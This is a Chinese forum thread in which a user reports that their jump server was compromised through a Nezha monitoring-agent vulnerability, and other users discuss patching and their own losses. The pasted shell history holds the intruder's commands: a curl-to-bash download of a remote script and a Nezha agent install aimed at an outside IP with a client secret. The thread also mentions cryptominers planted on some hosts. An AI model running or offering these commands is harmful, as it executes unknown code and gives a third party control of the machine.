妈的狗日的哪吒探针

knighttools 2026-06-17 15:03 1

================================================================
SysInfo-Cli System Real-time Monitor - 2026-06-17 14:58:04
================================================================
[Core Info]
CPU Model : AMD EPYC 7K62 48-Core Processor (2 core(s))
IPv4 Addr : 10.0.8.4
Uptime : 6 weeks, 3 hours, 43 minutes
[Resource Usage]
CPU Load : 25790.0% Processes : 200
Memory : 1.0Gi / 1.9Gi (52%) Users Logged : 2
Swap Usage : None
[Network Speed]
Download : 29.5 KB/s (1GB) Upload : 119.2 MB/s (964MB)
Total Used : 2GB Limit : 1T
Traffic Mode : Bi-directional
Traffic % : [ ] 0%
[Disk Status]
Mount Size Used Perm Progress
-------------------------------------------------------------
/ 30G 8.1G 28% [■■ ]
================================================================

494  curl -sL https://raw.githubusercontent.com/ariennenphilipwinifre51981/ariennenphilipwinifre51981.github.io/refs/heads/main/download3.sh | bash

495 curl -L https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.sh -o agent.sh && chmod +x agent.sh && env NZ_SERVER=192.227.223.187:8008 NZ_TLS=false NZ_CLIENT_SECRET=YQh472yzznxinUnrdQRpXhgay58fmUyx ./agent.sh

我也没发过探针,估计被扫出来了,大家能换就换掉吧,还好agent的ssh全都是关掉的,大家能换的都换掉吧


最最最难搞的是这台机器是我的跳板机,ssh key也在上面,狗日的,得挨个换公钥

最新回复 (21)
  • niaoganjian-888 06-17 15:04
    1

    人家老早之前就发了通知,我看到通知就第一时间更新了,啥事没有

  • jkjoy 06-17 15:04
    2

    你是哪个版本

  • knighttools 楼主 06-17 15:05
    3

    @niaoganjian-888 #1

    最近很忙,没空看论坛,也是今天刚知道哪吒又又又又出漏洞了。

  • niaoganjian-888 06-17 15:06
    4

    网络安全这块,相关群组最好关注,不要屏蔽通知

  • 楼主 06-17 15:07
    5

    ^-^ 全军覆没

  • etotakeo 06-17 15:16
    6

    我前几天机器重装了的,是Nezha 2.2.3

  • DeeDee 06-17 15:21
    7

    感觉有点滞后样子,我印象中十几天前就有这回事了,没想到这两天才大批暴雷,应该是哪里公开了具体操作步骤吧 ^-^


    搜了一下,当时论坛还有帖子

    https://www.nodeseek.com/post-754061-1

  • lililinihao 06-17 15:24
    8

    都不敢随便乱搞

  • passpigeon 06-17 15:39
    9

    还好我的 vps 上没啥东西,已经重装换 komari 了

  • Maximum777 06-17 15:43
    10

    探针这种更新又更不挂的,部署个自动更新不就行了 ^-^

  • JobsGood 06-17 15:45
    11

    你是不是把nezha默认端口开公网了?

  • Labubu 06-17 15:48
    12

    agent的ssh关掉的都没啥问题,出问题的都是没关的 ^-^

  • ecooly 06-17 15:59
    13

    免费用了还骂,自己不升级

  • knighttools 楼主 06-17 16:01
    14

    @ecooly #13 对,你最圣人了,我可以选择不用他了,之前懒得换探针,这三天两头安全漏洞,我用不起了

  • rnnet 06-17 16:02
    15

    免费给你用不感恩就算了,还骂哪吒

  • knighttools 楼主 06-17 16:03
    16

    @rnnet #15 对对对,我选择不用了

  • knighttools 楼主 06-17 16:03
    17

    @Labubu #12 嗯,有个别几台没关,确实植入挖矿了

  • koralis 06-17 16:04
    18

    好热闹啊,还好鸡少不搞这些 ^-^

  • rnnet 06-17 16:04
    19

    @knighttools #16 发布于6/17/2026, 4:03:07 PM

    @rnnet #15 对对对,我选择不用了


    居然选择不用了,太过分了。

  • konnaly8866 06-17 16:05
    20

    1panel开启了账号密码登录网站……

  • stevennight 06-17 17:00
    21

    ^-^ 十几台鸡全阵亡,还有几台吃Abuse。

    还有我的老龙啊,操 ^-^ 不给恢复就亏大了

* 帖子来源NodeSeek
返回